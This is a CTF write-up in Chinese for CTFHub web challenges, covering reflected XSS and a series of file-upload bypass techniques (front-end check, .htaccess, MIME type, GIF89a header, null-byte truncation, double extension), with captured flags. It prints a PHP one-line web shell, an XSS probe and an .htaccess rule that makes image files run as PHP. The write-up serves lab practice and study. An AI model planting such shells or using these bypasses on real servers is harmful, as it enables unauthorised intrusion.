CTFHub - Web（三)

最近又是每天忙到裂开，，，淦

xss：

　　反射型：

1.第一个输入框与下面Hello后的内容相同，猜测可以通过该输入，改变页面内容。

测试语句：

<script>alert(1)</script>

2.测试第一步中的语句，出现如下回显，

3.根据url栏可知通过_GET传入参数，

4.经过测试，第二个输入框输入URL时，返回SUCCESS，猜测在后台进行访问，

5.使用XSS测试平台，创建项目，将网址name=后改为平台提供的代码后，send，在项目内容中接收flag，

6.得到flag，

flag:

ctfhub{dd876283c7836e1929c9f9793b95c162d92a7a15}

文件上传：

　　无验证：

1.进入页面，

2.编辑一句话木马，上传，

<?php
@eval($_POST['cmd'])
?>

3.用蚁剑连接，进入html目录，得到flag，

flag：

ctfhub{d9de0e104985706acfc4dac329ff4e3c8415a862}

　　前端验证：

1.随意上传一个php文件，发现该类型不允许上传，根据提示JS前端验证，发现函数中的白名单，删除判断函数（或者添加php类型），上传成功，

 

2.写入一句话，利用蚁剑进行连接，得到flag，

flag：

ctfhub{3f39f60713f9667252322c17e11eb8f87c59ff77}

　　.htaccess：

1.进入页面，查看源代码，发现过滤函数，

2.先上传个一句话，提示文件类型不匹配，上传了一张图片，上传成功，根据提示构造.htaccess文件，文件内容如下，目的是让服务器将jpg解析成php，

AddType application/x-httpd-php .png

3.上传成功后，接着上传带有一句话木马的jpg文件，上传成功后，用蚁剑连接，得到flag，

flag：

ctfhub{acb58985ce696cd969b2017a546120aac5c85414}

 补充：

关于.htaccess：
.htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。
通过htaccess文件，可以帮我们实现：网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

 　　MIME绕过：

1.上传一句话，抓包，修改Content-Type为合法类型，将类型改为image/jpeg，

2.蚁剑连接，得到flag，

flag：

ctfhub{bed028163c013365ca24283f879fa4c3a159b068}

补充：

关于MIME：
MIME原本是指多用途互联网邮件扩展类型。
后来被用到了HTTP的Content-Type字段，称为互联网媒体类型。

　　文件头检查：

1.上传一句话木马(.php)，返回，

2.上传写有一句话的图片(gif)，返回，

3.抓包，上传图码，在一句话前添加GIF89a（识别gif格式图片），

4.放包，上传成功，用蚁剑连接，得到flag，

flag：

参考：

Pass - 14：

https://www.cnblogs.com/3cH0-Nu1L/p/13534170.html

　　00截断：

1.上传php一句话，并抓包，

2.在地址栏可以发现road为上传文件的存储路径，

3.如果没有在road路径这里截断，只在文件名截断，系统会将你传入的文件自动存储在road下，虽然成功传上去但将文件名自行修改，文件后缀也会改为你的Content-Type，既要将文件名那里截断，在road那里也要截断上传shell，

4.蚁剑连接，得到flag，

flag：

 

ctfhub{88b884faa3879476c2040b5a29329ed64d3a1ed5}

 

参考：

https://blog.csdn.net/weixin_44732566/article/details/104672648

补充：

%00，0x00，/00都属于00截断，利用的是服务器的解析漏洞（ascii中0表示字符串结束），所以读取字符串到00就会停止，认为已经结束。

限制条件：

　　PHP<5.3.29，且GPC关闭

　　双写后缀：

1.上传一句话，抓包，修改文件后缀php => pphphp，放行，

2.蚁剑连接，得到flag，

flag：

ctfhub{c2d9a4e2969fd3c8de709c8fe16d5a774f8e5276}